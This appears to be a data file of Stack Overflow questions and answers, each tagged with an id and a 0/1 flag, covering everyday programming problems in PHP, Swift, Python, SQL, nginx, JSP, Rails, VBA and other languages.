13259812	0	 <p>Welcome to the wonderful world of loose typing. In php, array_search defaults to nonstrict comparisons ("=="), but you can add a third parameter to force strict ("==="). You almost always want strict, though there are times when nonstrict is the correct operation.</p> <p>check out the following:</p> <pre><code>$allcraftatts = array(0, 0, 0, 0, 0, 0, "Sharp Stone", "Sharp Stones", "stone", new stdClass(), "sharp", "hard", 0, 0, 0, 0, 0,0 ,0); $testcopy=$allcraftatts; $testsharp=array_search("sharp", $testcopy); $testsharpStrict=array_search("sharp", $testcopy, true); print_r(get_defined_vars()); if(0 == "sharp"){ echo "true for == \n"; }else{ echo "false == \n"; } if(0 === "sharp"){ echo "true for === \n"; }else{ echo "false === \n"; } </code></pre> <p>and the output:</p> <pre><code>[testcopy] =&gt; Array ( [0] =&gt; 0 [1] =&gt; 0 [2] =&gt; 0 [3] =&gt; 0 [4] =&gt; 0 [5] =&gt; 0 [6] =&gt; Sharp Stone [7] =&gt; Sharp Stones [8] =&gt; stone [9] =&gt; stdClass Object ( ) [10] =&gt; sharp [11] =&gt; hard [12] =&gt; 0 [13] =&gt; 0 [14] =&gt; 0 [15] =&gt; 0 [16] =&gt; 0 [17] =&gt; 0 [18] =&gt; 0 ) [testsharp] =&gt; 0 [testsharpStrict] =&gt; 10 ) true for == false === </code></pre>
41068081	0	 <p><code>UserDefaults</code> is just a bunch of pairs of keys and values. So, you could assign a boolean value ("hidden") for each product:</p> <pre><code>// get the current product - this depends on how your table is set up let product = products[indexPath.row] // set the boolean to true for this product UserDefaults.set(true, forKey: product) </code></pre> <p>Then, wherever you're initializing your products, add:</p> <pre><code>// only include elements that should not be hidden products = products.filter({ UserDefaults.boolForKey($0) == false }) </code></pre> <p>You could also store all of the </p>
30018686	1	python threads - please explain <p>I'm trying to understand how threads work in python and I'm slightly confused around a few things. </p> <p>I was under the impression that you could run different tasks at the same time in parallel when using threads? </p> <p>The code below will demonstrate some of the issues I'm experiencing with threads. (I know there are better ways writing a port scanner but this will clarify the issues I'm having )</p> <p>============ Start Example ============</p> <pre><code> import socket import threading def test2(start,end): for i in range(int(start),int(end)): server = 'localhost' s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((server,i)) print("port", i , "is open", threading.current_thread().name) s.close() except socket.error as e: s.close() def threader(): print(threading.current_thread().name) if threading.current_thread().name == "Thread-0": test2(1,1000) elif threading.current_thread().name == "Thread-1": test2(1000,2000) elif threading.current_thread().name == "Thread-2": test2(2000,3000) elif threading.current_thread().name == "Thread-3": test2(3000,4000) for i in range(4): t = threading.Thread(target=threader, name= "Thread-"+str(i)) t.start() </code></pre> <p>============ End Example ============</p> <p>if I would scan 1000 ports with 1 thread it usually takes around 7-8 sec.</p> <p>The problem with the code above is that this takes around 30 sec to execute.</p> <p>Should it not take around 7-8 sec to execute if all threads are running in parallel and are scanning the same amount of ports? </p> <p>I'd really appreciate if someone could explain what I'm doing wrong here.</p> <p>TIA!</p>
264933	0	 <p>I don't know how if this is an acceptable solution for you, but you can upload your own HTML (or any other type for that matter) files on Google Pages. So the proposes solution would be: write manually the HTML pages with the necessary JS tags and upload them to Google Pages.</p>
89750	0	 <p>And when you need to inject it back into some other DOM (like your HTML page) you can export it again using the $dom->saveXML() method. The problem however is that it also exports an xml header (it's even worse for the saveHTML version). To get rid of that use this:</p> <pre><code>$xml = $dom-&gt;saveXML(); $xml = substr( $xml, strlen( "&lt;?xml version=\"1.0\"?&gt;" ) ); </code></pre>
32426365	0	 <p>Your first script seems to work just fine with the latest Unicode version of AutoHotkey. Get latest version @ ahkscript.org</p> <p>Added a check for "ы" in the code below:</p> <pre><code>~LWin Up:: Input, key, L1 if (key = "n" or key = "ы") { Run, Notepad.exe } else if (key = "s") { Run, cmd.exe } return </code></pre> <p>Make sure to Encode your with script UTF-8 (not UTF-8 without BOM) </p> <p>Edit: </p> <p>Okay I think I found an Answer that doesn't require you to Add "ы" but instead relies on SC codes produced by the Keyboard, meaning it's Layout independent.</p> <p><a href="http://ahkscript.org/docs/commands/Input.htm" rel="nofollow">Relevant info from Input command from the Docs:</a></p> <blockquote> <p>E [v1.1.20+]: Handle single-character end keys by character code instead of by keycode. This provides more consistent results if the active window's keyboard layout is different to the script's keyboard layout. It also prevents key combinations which don't actually produce the given end characters from ending input; for example, if @ is an end key, on the US layout Shift+2 will trigger it but Ctrl+Shift+2 will not (if the E option is used). If the C option is also used, the end character is case-sensitive.</p> <p>EndKeys A list of zero or more keys, any one of which terminates the Input when pressed (the EndKey itself is not written to OutputVar). When an Input is terminated this way, ErrorLevel is set to the word EndKey followed by a colon and the name of the EndKey. Examples: EndKey:., EndKey:Escape.</p> <p>The EndKey list uses a format similar to the Send command. For example, specifying {Enter}.{Esc} would cause either ENTER, period (.), or ESCAPE to terminate the Input. To use the braces themselves as end keys, specify {{} and/or {}}.</p> <p>To use Control, Alt, or Shift as end-keys, specify the left and/or right version of the key, not the neutral version. For example, specify {LControl}{RControl} rather than {Control}.</p> <p>Although modified keys such as Control-C (^c) are not supported, certain characters that require the shift key to be held down -- namely punctuation marks such as ?!:@&amp;{} -- are supported in v1.0.14+. Other characters are supported with the E option described above, in v1.1.20+.</p> <p>An explicit virtual key code such as {vkFF} may also be specified. This is useful in the rare case where a key has no name and produces no visible character when pressed. Its virtual key code can be determined by following the steps at the bottom fo the key list page.</p> </blockquote> <pre><code>~LWin Up:: Input, key, L1 E, {SC031}.{SC01F} ; {n}.{s} if (Errorlevel = "EndKey:SC031") { Run, Notepad.exe } If (Errorlevel = "EndKey:SC01f") { Run, cmd.exe } return </code></pre> <p>Also, I wasn't able to reproduce an issue where Windows key was held down?</p>
12027921	0	 <p>Try this,</p> <pre><code>int x = 1; if (*(char *)&amp;x == 1) printf("Little Endian [LSB first]"); // or LED1 ON else printf("Big Endian [MSB first]"); // or LED2 ON </code></pre>
40193067	0	Sessions in shopping cart <p>I'm trying to show in a table the values that are stored in a session, the problem is: How to show all the information until now the application shows one of my three sessions, what about the rest? Any Idea?</p> <pre><code>&lt;?php $_SESSION['id'][] = $_GET['id']; $_SESSION['name'][] = $_GET['name']; $_SESSION['price'][] = $_GET['price']; ?&gt; &lt;h1&gt;Shopping Cart&lt;/h1&gt;&lt;br&gt; &lt;table border=1&gt; &lt;th&gt;ID&lt;/th&gt; &lt;th&gt;Name&lt;/th&gt; &lt;th&gt;Price&lt;/th&gt; &lt;tbody id="tb"&gt; &lt;?php foreach($_SESSION['name'] as $key=&gt; $n){ ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $n; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } ?&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre>
37396786	0	How to count consecutive row where one column have a specific value in SQL Server? <p>I have a data set that looks like this</p> <pre><code>gId mId 226 88825 226 88825 226 88825 226 88825 226 88825 226 88825 226 88832 226 88832 226 88832 226 88832 226 88863 226 88863 226 88863 226 88863 226 88863 227 89080 227 89080 227 89080 227 89148 227 89148 227 89148 227 89197 227 89197 227 89197 227 89148 227 89197 227 89197 227 89197 227 89197 227 89148 227 89197 227 89197 227 89197 227 89197 227 89148 227 89197 227 89197 227 89197 229 89267 229 89318 229 89322 231 90257 231 90340 231 90350 247 94318 247 94318 249 94642 249 94642 249 94642 249 94400 249 94642 249 94642 249 94642 249 94642 249 94642 249 94642 249 94400 249 94400 249 94400 249 94400 </code></pre> <p>I need to be able to get a list of the unique <code>gId</code> column where the <code>mId</code> column contains the same value in 5 or more consecutive rows. So the above data set will return something like this</p> <pre><code>gId mId 226 88825 226 88863 249 94642 </code></pre> <p>One important thing to mention that I can't change the order of this list so I have to count it top to bottom to be able to check for consecutive rows.</p> <p>My table looks like this</p> <pre><code>CREATE TABLE t ( gId int NOT NULL, mId int NOT NULL ); </code></pre>
3195918	0	 <p>You can't prevent the user from switching back because you've spawned a separate process. As far as the operating system is concerned it's as if you'd started the second one via it's desktop icon (for example).</p> <p>I think the best you can hope for is to disable the relevant menus/options when the second process is active. You'll need to keep polling to see if it's still alive, otherwise your main application will become unusable.</p> <p>Another approach might be to minimize the main application which will keep it out of the way.</p>
31622009	0	Nginx server (not showing changes) - Delete cache? <p>I'm running a Laravel Site (Ubuntu) on Nginx (Not a virtual box). When I make changes to a css file, or any file for that matter i'm unable to see the changes right away. I've tried changing sendfile from on to off as noted in this link: </p> <p><a href="http://stackoverflow.com/questions/6236078/how-to-clear-the-cache-of-nginx">How to clear the cache of nginx?</a></p> <p>And I couldn't find a Nginx cache file to delete the cache. Many sites recommend going to the "path/to/cache" folder but I can't find it:</p> <p><a href="https://www.nginx.com/blog/nginx-caching-guide/" rel="nofollow">https://www.nginx.com/blog/nginx-caching-guide/</a></p> <p>Anyway I don't believe I set up any kind of proxy caching or anything. Any ideas where I can find my cache so I can delete it folks? For that matter am I looking to do the correct thing here? Thanks for you answer in advance.</p> <p>This is what my test server block looks like:</p> <pre><code>server { # secure website with username and password in htpasswd file auth_basic "closed website"; auth_basic_user_file /tmp/.htpasswd.txt; listen (myip) default_server; listen [::]:83 default_server ipv6only=on; root /var/www/test/(sitefolder); index index.php index.html index.htm; # Make site accessible server_name (myiphere); location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ /index.php?$query_string; # Uncomment to enable naxsi on this location # include /etc/nginx/naxsi.rules } location ~ \.php$ { try_files $uri /index.php =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } </code></pre> <p>This is what my real site server block looks like:</p> <pre><code>server { # secure website with username and password in htpasswd file auth_basic "closed website"; auth_basic_user_file /tmp/.htpasswd.txt; listen (myip) default_server; listen [::]:81 default_server ipv6only=on; root /var/www/(mysite)/public; index index.php index.html index.htm; # Make site accessible from http://localhost/ server_name (myip); location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ /index.php?$query_string; # Uncomment to enable naxsi on this location # include /etc/nginx/naxsi.rules } location ~ \.php$ { try_files $uri /index.php =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } </code></pre>
25130414	0	not being able to set the n° of specified threads desired <p>I have this very simple openmp program that is not creating the four desired threads, #include #include </p> <pre><code>main () { omp_set_num_threads(4); #pragma omp paralel { int id = omp_get_thread_num(); int nt = omp_get_num_threads(); printf ("I am thread %d of %d threads\n",id,nt); } </code></pre> <p>When I run it the command line says the total it is 1. What am I forgetting? </p>
191006	0	 <p>I also vote for the second version based on<br> this <a href="http://download.oracle.com/docs/cd/B19306_01/server.102/b14231/undo.htm" rel="nofollow noreferrer">link</a> (which is Oracle 10.2, but I think it still applies to 9.2 as well). </p> <p>It says: "After a transaction is committed, undo data is no longer needed for rollback or transaction recovery purposes. However, for consistent read purposes, long-running queries may require this old undo information for producing older images of data blocks."</p> <p>and</p> <p>"When automatic undo management is enabled, there is always a current undo retention period, which is the minimum amount of time that Oracle Database attempts to retain old undo information before overwriting it."</p>
19807883	0	 <p>Are you getting no errors at all from the Javascript console you're using? I'd say adding parentheses should do the trick:</p> <pre><code>$$('.student-link').invoke('observe','click',draw_report()); $$('.student-link').invoke('observe','click',set_active()); </code></pre> <p><strong>EDIT</strong>: I see you use a jQuery tag in your original question. Are you sure you're using jQuery? Because the javascript code above looks suspiciously like Prototype.</p>
3761428	0	 <p>Since you're asking for the best way, and if Log4J is not a strong requirement, my suggestion would be to use <a href="http://logback.qos.ch/" rel="nofollow noreferrer">Logback</a> and its <a href="http://logback.qos.ch/manual/appenders.html#DBAppender" rel="nofollow noreferrer"><code>DbAppender</code></a>. That's the best way :)</p> <p>Last time I checked, the <a href="http://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/jdbc/JDBCAppender.html" rel="nofollow noreferrer"><code>JDBCAppender</code></a> from Log4J was still not satisfying and if you can't use logback, you might prefer some third party implementation. See the links below for details:</p> <ul> <li><a href="http://www.boky.cc/2010/02/03/jdbcappender-for-log4j/" rel="nofollow noreferrer">http://www.boky.cc/2010/02/03/jdbcappender-for-log4j/</a></li> <li><a href="http://www.dankomannhaupt.de/projects/" rel="nofollow noreferrer">http://www.dankomannhaupt.de/projects/</a> (older)</li> </ul>
21531351	0	how to do URL-Rewriting when browser cookies are disabled? <p>I am trying to achieve URL-Rewriting for my Application. I am using java,servlet, JSP, tomcat 7 as part of the technologies. </p> <p><strong>BackGround:</strong> The reason for URL-Rewriting is that when my browser cookies are disabled the connection between the client and the server is not established and session on being lost and for each request that comes from the browser the server thinks as a new request. </p> <p>By reading through the <a href="https://stackoverflow.com/questions/2065735/how-can-i-do-sessions-in-java-if-some-one-disables-cookies-in-my-browser?lq=1">interne</a>t found that URL-Rewriting is one solution. </p> <p>My application has just one JSP page called <code>root.jsp</code> This is how i am loading the jsp page from my servlet. I have only one servlet that handles all the request.</p> <pre><code>getServletContext().getRequestDispatcher("/view/root.jsp").forward( request, response); </code></pre> <p>In <code>root.jsp</code> includes another jsp pages as a part of <code>root.jsp</code> it shown below. Based on the programming logic the respective JSP page that needs to be included get added.</p> <pre><code>&lt;div class="grey_container"&gt; &lt;jsp:include page="${requestScope.jspPage.pageFileUrl}" flush="false" /&gt; &lt;/div&gt; </code></pre> <p>I read that the URL-rewriting is possible using <code>HttpServletResponse encodeURL() and encodeRedirectURL()</code>. For the JSP pages this encodeURL is achievied using <a href="http://www.tutorialspoint.com/jsp/jstl_core_url_tag.htm" rel="nofollow"><code>&lt;c:url&gt;</code></a></p> <p>WHat i have tried </p> <p>In my servlet show below, I did not see any Jsession ID being appended to the URL.</p> <pre><code>getServletContext().getRequestDispatcher(response.encodeURL("/view/root.jsp")).forward( request, response); getServletContext().getRequestDispatcher(response.encodeRedirectURL("/view/root.jsp")).forward( request, response); </code></pre> <p>Next thought that i might need to configure something similar in JSP using <code>&lt;c:url&gt;</code> tag. So tried to configure in the <code>&lt;jsp: include&gt;</code> but it is throwing some compilation exception. so at this point of time i tried different approaches to make that JSP compilation error go away but was not successful. So thought that is it possible configure to <code>&lt;jsp: include&gt;</code> to have <code>&lt;c:url&gt;</code> was not sure. configuring in JSP with <code>&lt;c:url&gt;</code> is needed?</p> <p>Below is the exception when i try to configure the </p> <pre><code>&lt;jsp:include page="&lt;c:url value="${requestScope.jspPage.pageFileUrl}"/&gt;" flush="false" /&gt; org.apache.jasper.JasperException: /view/root.jsp (line: 97, column: 38) Unterminated &amp;lt;jsp:include tag at org.apache.jasper.compiler.DefaultErrorHandler.jspError(DefaultErrorHandler.java:42) at org.apache.jasper.compiler.ErrorDispatcher.dispatch(ErrorDispatcher.java:443) at org.apache.jasper.compiler.ErrorDispatcher.jspError(ErrorDispatcher.java:133) at org.apache.jasper.compiler.Parser.parseOptionalBody(Parser.java:992) at org.apache.jasper.compiler.Parser.parseInclude(Parser.java:854) at org.apache.jasper.compiler.Parser.parseStandardAction(Parser.java:1116) at org.apache.jasper.compiler.Parser.parseElements(Parser.java:1451) at org.apache.jasper.compiler.Parser.parse(Parser.java:138) at org.apache.jasper.compiler.ParserController.doParse(ParserController.java:242) at org.apache.jasper.compiler.ParserController.parse(ParserController.java:102) at org.apache.jasper.compiler.Compiler.generateJava(Compiler.java:198) at org.apache.jasper.compiler.Compiler.compile(Compiler.java:373) at org.apache.jasper.compiler.Compiler.compile(Compiler.java:353) at org.apache.jasper.compiler.Compiler.compile(Compiler.java:340) at org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:646) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:357) </code></pre> <p>How should i configure my servlet/JSP page for the URL rewriting?</p>
34493379	0	 <pre><code>for (CNContact *contact in contacts) { if (!contacts) { contacts = [[NSMutableArray alloc] init]; if ( contact.imageData != nil ) { // iOS &gt;= 4.1 UIImage *CIMage = [UIImage imageWithData:(NSData *)contact.imageData]; } } NSString *string = [formatter stringFromContact:contact]; NSLog(@"contact = %@", string); [contacts addObject:string]; } // Please this code is run in my app please try it. </code></pre>
277436	0	 <p>See that the margins and paddings are correct. The scrollbar can be behind something.</p> <p>Put the exterior container height with a fixed value, It can be <em>stretching</em> the listview so it will never show the scrollbar.</p> <p>HTH</p>
35997353	0	 <p>The cells are reused in iOS, so you need to make sure you properly unhook handlers and reset state when a cell is reused. You can do something like this:</p> <pre><code>public partial class CustomCell : UITableViewCell { EventHandler _likeButtonHandler; public static readonly NSString Key = new NSString (typeof(CustomCell).Name); public static readonly UINib Nib = UINib.FromName (typeof(CustomCell).Name, NSBundle.MainBundle); public CustomCell () { } public CustomCell (IntPtr handle) : base (handle) { } public override void PrepareForReuse () { LikeButton.TouchUpInside -= _likeButtonHandler; _likeButtonHandler = null; base.PrepareForReuse (); } public void SetupCell (int row, string Name, EventHandler likeBtnHandler) { _likeButtonHandler = likeBtnHandler; LikeButton.TouchUpInside += _likeButtonHandler; LikeButton.Tag = row; NameLabel.Text = Name; RowLabel.Text = row.ToString (); } } </code></pre> <p>Notice that I unhook the event handler in the <code>PrepareForReuse</code> override. This is the correct place to do clean up and reset a cell for reuse. You should NOT be using <code>MovedToWindow()</code>.</p> <p>Then your <code>GetCell</code> method will look like this:</p> <pre><code> public override UITableViewCell GetCell (UITableView tableView, NSIndexPath indexPath) { var cell = tableView.DequeueReusableCell (CustomCell.Key) as CustomCell ?? new CustomCell (); cell.SetupCell (indexPath.Row, _fruits [indexPath.Row], _likeButtonHandler); return cell; } </code></pre> <p>The <code>_likeButtonHandler</code> is a simple <code>EventHandler</code>.</p>
37774208	0	MYSQL Nested Query with two select <p>I have:</p> <pre><code>Table1 (UserID -City - Adress - Mobile) Table2 (DeviceID - UserID - Vendor - Model). </code></pre> <p>I want to perform nested query to select the following in one row:</p> <pre><code> select DeviceID, UserID, Model From Table2 Where Vendor=Sony (and for this row go and select City - Address - Mobile from table 1 where table1.UserID = Table2.UserID) </code></pre> <p>How can I perfom the second select in the same query to be printed in the same row after Model.</p>
30385579	0	 <p>Suggest the use of <code>Defined Name Ranges</code> to hold the user maintained list <em>(as show in the picture below)</em></p> <p><img src="https://i.stack.imgur.com/lDiiH.png" alt="enter image description here"></p> <p>Let’s add a worksheet for user input of the requirements called “_Tables”. Then create <code>Defined Name Ranges</code>, for users to enter the requirements, called <code>"_Path"</code>, <code>"_Files"</code> and <code>"_SubFldrs"</code></p> <p>Then replace all the user’s input in current code </p> <pre><code>REPLACE THIS ''' With Application.FileDialog(msoFileDialogFolderPicker) ''' If .Show Then ''' myDir = .SelectedItems(1) ''' End If ''' End With ''' msg = "Enter File name and Extension" &amp; vbLf &amp; "following wild" &amp; _ ''' " cards can be used" &amp; vbLf &amp; "* # ?" ''' myExtension = Application.InputBox(msg) ''' If (myExtension = "False") + (myExtension = "") Then Exit Sub ''' Rtn = MsgBox("Include Sub Folders ?", vbYesNo) ''' SearchSubFolders = Rtn = 6 </code></pre> <p>with this in order to read the requirements from the worksheet "_Tables"</p> <pre><code> Set WshLst = ThisWorkbook.Sheets("_Tables") sPath = WshLst.Range("_Path").Value2 aFleKey = WshLst.Range("_Files").Value2 bSbFldr = UCase(WshLst.Range("_SubFldrs").Value2) = UCase("YES") aFleKey = WorksheetFunction.Transpose(aFleKey) </code></pre> <p>then Process the lists See below the entire code below. It's necessary to have the statement <code>Option Base 1</code> at the top of the module</p> <pre><code>Option Explicit Option Base 1 Sub Fle_FileSearch_List() Dim WshLst As Worksheet Dim sPath As String Dim aFleKey As Variant, vFleKey As Variant Dim bSbFldr As Boolean Dim vFleLst() As Variant Dim lN As Long Set WshLst = ThisWorkbook.Sheets("_Tables") sPath = WshLst.Range("_Path").Value2 aFleKey = WshLst.Range("_Files").Value2 bSbFldr = UCase(WshLst.Range("_SubFldrs").Value2) = UCase("YES") aFleKey = WorksheetFunction.Transpose(aFleKey) Rem To clear output location ThisWorkbook.Sheets(1).Columns(1).Resize(, 2).Clear Rem Process input list For Each vFleKey In aFleKey If (vFleKey &lt;&gt; "False") * (vFleKey &lt;&gt; "") Then Call Fle_FileSearch_Fldrs(sPath, CStr(vFleKey), lN, vFleLst, bSbFldr) End If: Next Rem Validate Results &amp; List Files found If lN &gt; 1 Then ThisWorkbook.Sheets(1).Cells(1).Resize(UBound(vFleLst, 2), 2) _ .Value = Application.Transpose(vFleLst) Else MsgBox "No file found" End If End Sub </code></pre> <p>Also some adjustments to the function <em>(now a procedure)</em> to allow the process of the list.</p> <pre><code>Sub Fle_FileSearch_Fldrs(sPath As String, _ sFleKey As String, lN As Long, vFleLst() As Variant, _ Optional bSbFldr As Boolean = False) Dim oFso As Object, oFolder As Object, oFile As Object Set oFso = CreateObject("Scripting.FileSystemObject") If lN = 0 Then lN = 1 + lN ReDim Preserve vFleLst(1 To 2, 1 To lN) vFleLst(1, lN) = "Files Found - Path" vFleLst(2, lN) = "Files Found - Name" End If For Each oFile In oFso.GetFolder(sPath).Files Select Case oFile.Attributes Case 2, 4, 6, 34 Case Else If (Not oFile.Name Like "~$*") * _ (oFile.Path &amp; "\" &amp; oFile.Name &lt;&gt; ThisWorkbook.FullName) * _ (UCase(oFile.Name) Like UCase(sFleKey)) Then lN = lN + 1 ReDim Preserve vFleLst(1 To 2, 1 To lN) vFleLst(1, lN) = sPath vFleLst(2, lN) = oFile.Name End If: End Select: Next If bSbFldr Then For Each oFolder In oFso.GetFolder(sPath).subfolders Call Fle_FileSearch_Fldrs(oFolder.Path, sFleKey, lN, vFleLst, bSbFldr) Next: End If End Sub </code></pre>
6659690	1	Is there a way to chunk 2 or more repititions of a tag in a tagged sentence using nltk? <p>I'm trying to use the nltk module in python to chunk together any instances where two to five nouns occur in sequence.</p> <p>This is the code I am using:</p> <pre><code>parse_pattern = "Keyword: {&lt; N&gt;{2,5}}" keyword_parser = nltk.RegexpParser(parse_pattern) result = keyword_parser.parse(sentence) </code></pre> <p>I makes sense that this bit should do the trick: <code>Keyword: {&lt; N&gt;{2,5}}</code></p> <p>I even found an example in the book Natural Language Processing with Python that uses the above bit completely analogously: <code>NOUNS: {&lt; N.*&gt;{4,}}</code> where the authors explain that that bit of code should chunk 4 or more nouns.</p> <p>However, I get an error when I run the above code:</p> <pre><code>ValueError: Illegal chunk pattern: {&lt; N&gt;{2,5}} </code></pre> <p>Note: I also tried the above using <code>{&lt; N.*&gt;{2,5}}</code> (with the dot star solely because the author of the aforementioned book did) with no luck.</p> <p>Any help in how to chunk two or more repetitions of a tag would be highly appreciated.</p>
37046362	0	 <p>You could achieve this by looping over the properties of the object itself and sorting the arrays they contain, something like this:</p> <pre><code>for (var key in mainarray) { if (mainarray[key] === Array) mainarray[key].sort(); } </code></pre> <p><a href="https://jsfiddle.net/26gk4h9b/" rel="nofollow"><strong>Working example</strong></a></p> <p>Note that by default <code>sort()</code> only uses basic alphanumeric sorting logic. If you need anything more complex you would need to implement that yourself.</p>
23489696	0	How to disabled selected date (asp.net mvc4) <p>I am trying to make an appointment page in MVC4. It is working well but I would like to disable the date which is chosen. Here is my controller to make an appointment:</p> <pre><code>public ActionResult Make() { return View(); } [HttpPost] [ValidateAntiForgeryToken] public ActionResult Make(Models.AppModel User) { if (Session["UserEmail"] != null) { using (var db = new MaindbModelDataContext()) { var patient = db.Patients.FirstOrDefault(u =&gt; u.Email == (String)Session["UserEmail"]); var app = new Appointment(); app.Date = (DateTime)User.Date; app.Description = User.Description; app.Status = "isPending"; app.PatientNo = patient.PatientNo; app.AppNo = Guid.NewGuid().GetHashCode(); db.Appointments.InsertOnSubmit(app); db.SubmitChanges(); } } else { return RedirectToAction("Index", "User"); } return RedirectToAction("Index", "Patient"); } // } } </code></pre> <p>and here is my view with the datepicker</p> <pre><code>@model DentAppSys.Models.AppModel @{ ViewBag.Title = "Appointment"; } &lt;link type="text/css" rel="stylesheet" href="//code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css"&gt; &lt;script src="//code.jquery.com/jquery-1.10.2.js"&gt;&lt;/script&gt; &lt;script src="//code.jquery.com/ui/1.10.4/jquery-ui.js"&gt;&lt;/script&gt; @using (Html.BeginForm()) { @Html.AntiForgeryToken(); @Html.ValidationSummary(true, ""); &lt;div&gt; &lt;fieldset&gt; &lt;legend&gt;Get an Appointment&lt;/legend&gt; &lt;div&gt;@Html.LabelFor(u =&gt; u.Date)&lt;/div&gt; &lt;div&gt; @Html.TextBoxFor(u =&gt; u.Date, htmlAttributes: new { id = "DatePicker" }) @Html.ValidationMessageFor(u =&gt; u.Date) &lt;/div&gt; &lt;div&gt;@Html.LabelFor(u =&gt; u.Description)&lt;/div&gt; &lt;div&gt; @Html.TextBoxFor(u =&gt; u.Description) &lt;/div&gt; &lt;input type="submit" value="Submit" class="footer_btn" /&gt; &lt;/fieldset&gt; &lt;/div&gt; } &lt;script type="text/javascript"&gt; $(function () { $("#DatePicker").datepicker(); }); &lt;/script&gt; </code></pre>
4049949	0	 <p>This website is pretty good but not specific to Java: <a href="http://bigocheatsheet.com/" rel="nofollow noreferrer">http://bigocheatsheet.com/</a></p> <p><strike>A copy of the original link in this answer can be found at <a href="https://github.com/benblack86/java-snippets/blob/master/resources/java_collections.pdf" rel="nofollow noreferrer">https://github.com/benblack86/java-snippets/blob/master/resources/java_collections.pdf</a></strike></p> <p><strike><em>The website hosting the original links for Java's big-O summary has gone offline. You can still find them at the web archive:</em></p> <p><a href="http://web.archive.org/web/20110227091351/http://www.coderfriendly.com/2009/05/12/java-collections-cheatsheet/" rel="nofollow noreferrer">http://web.archive.org/web/20110227091351/http://www.coderfriendly.com/2009/05/12/java-collections-cheatsheet/</a></strike></p> <p><strike><a href="http://web.archive.org/web/20110626160836/http://www.coderfriendly.com/wp-content/uploads/2009/05/java_collections_v2.pdf" rel="nofollow noreferrer">http://web.archive.org/web/20110626160836/http://www.coderfriendly.com/wp-content/uploads/2009/05/java_collections_v2.pdf</a></strike></p>
20014292	0	Chain an additional order on a Rails activerecord query? <p>Activerecord seems to ignore my second <code>order</code> in a chained AR query.</p> <p>What I'm trying to do is retrieve the top 5 most-read articles <em>within</em> the top 25 highest-scored (eg. rated by users) articles.</p> <p><code>Article</code> has both <code>read_count</code> (integer) and <code>score</code> (float) columns that I order by.</p> <p>My (naive?) attempt was this query:</p> <pre><code>Article.order("score DESC").limit(25).order("read_count DESC").limit(5) </code></pre> <p>What this returns is simply the first 5 highest-scored articles, rather than the 5 most-read articles within the first 25 highest-scored.</p> <p>Can I do this in a single query? Thanks for any help!</p> <p><em>(I'm on Rails 3.2 and Postgres 9.2)</em></p> <p><strong>Addendum</strong></p> <p>Thank you to brad and Philip Hallstrom for two solutions to this. Either would have been acceptable, although I went with brad's database-only solution as explained in my comment on his answer.</p> <p>Profiling each query on my local development machine (MBA) showed the subquery solution to be 33% faster than the Ruby-loop solution. Profiling the queries on my production machine (Heroku + Crane production database) showed the subquery solution to be <strong>95% faster</strong>! (this is across a database of 40,000 articles).</p> <p>While the actual time taken is pretty insignificant, 95% faster and 50% fewer lines of code is a pretty good decider.</p> <pre><code>Ruby-loop solution: (Philip) dev: 24 msec prod: 16 msec Sub-query solution: (brad) dev: 22 msec prod: 0.9 msec </code></pre> <p>Thanks to both Philip and brad for their answers!</p>
34858841	0	 <p>I had the exact same problem with a VS 2012 and oracle.dataAccess.dll In a software my team developed. When looking dipper to the code and spending lots of hours configuring all kinds of stuff eventually turns out it was a compiling error due to a 64x/86x bit mismatch. Your exception is quite general but I hope this works for you too.</p>
25821688	0	Swift generic Function (n choose k) <p>I'm trying to make this JavaScript code in Swift: <a href="https://gist.github.com/axelpale/3118596" rel="nofollow">k_combinations</a></p> <p>And so far i have this in Swift:</p> <pre><code>import Foundation import Cocoa extension Array { func slice(args: Int...) -&gt; Array { var s = args[0] var e = self.count - 1 if args.count &gt; 1 { e = args[1] } if e &lt; 0 { e += self.count } if s &lt; 0 { s += self.count } let count = (s &lt; e ? e-s : s-e)+1 let inc = s &lt; e ? 1 : -1 var ret = Array() var idx = s for var i=0;i&lt;count;i++ { ret.append(self[idx]) idx += inc } return ret } } func kombinaatiot&lt;T&gt;(setti: Array&lt;T&gt;, k: Int) -&gt; Array&lt;Array&lt;T&gt;&gt; { var i: Int, j: Int if (k &gt; setti.count || k &lt;= 0) { return [] } if (k == setti.count) { return [setti] } if (k == 1) { var combs: Array&lt;T&gt; = [] for var i = 0; i &lt; setti.count; i++ { combs += [setti[i]] } return [combs] } var combs: Array&lt;Array&lt;T&gt;&gt; = [[]] for var i = 0; i &lt; setti.count - k + 1; i++ { var head = setti.slice(i,i + 1) var tailcombs = kombinaatiot(setti.slice(i + 1), k - 1) for var j = 0; j &lt; tailcombs.count; j++ { combs += ([head + tailcombs[j]]) } } println(combs) return combs } </code></pre> <p>But problem is that my function prints</p> <pre><code>[[], [1, 2, 2, 3, 4], [2, 3, 3, 4], [3, 4, 4]] </code></pre> <p>when it should print </p> <pre><code>[[1,2], [1,3], [2, 3] </code></pre> <p>What i'm doing wrong here? Im noobie at coding, and my javascript skills aren't very well, but that javascript worked for me, but in swift i can't make that work.</p>
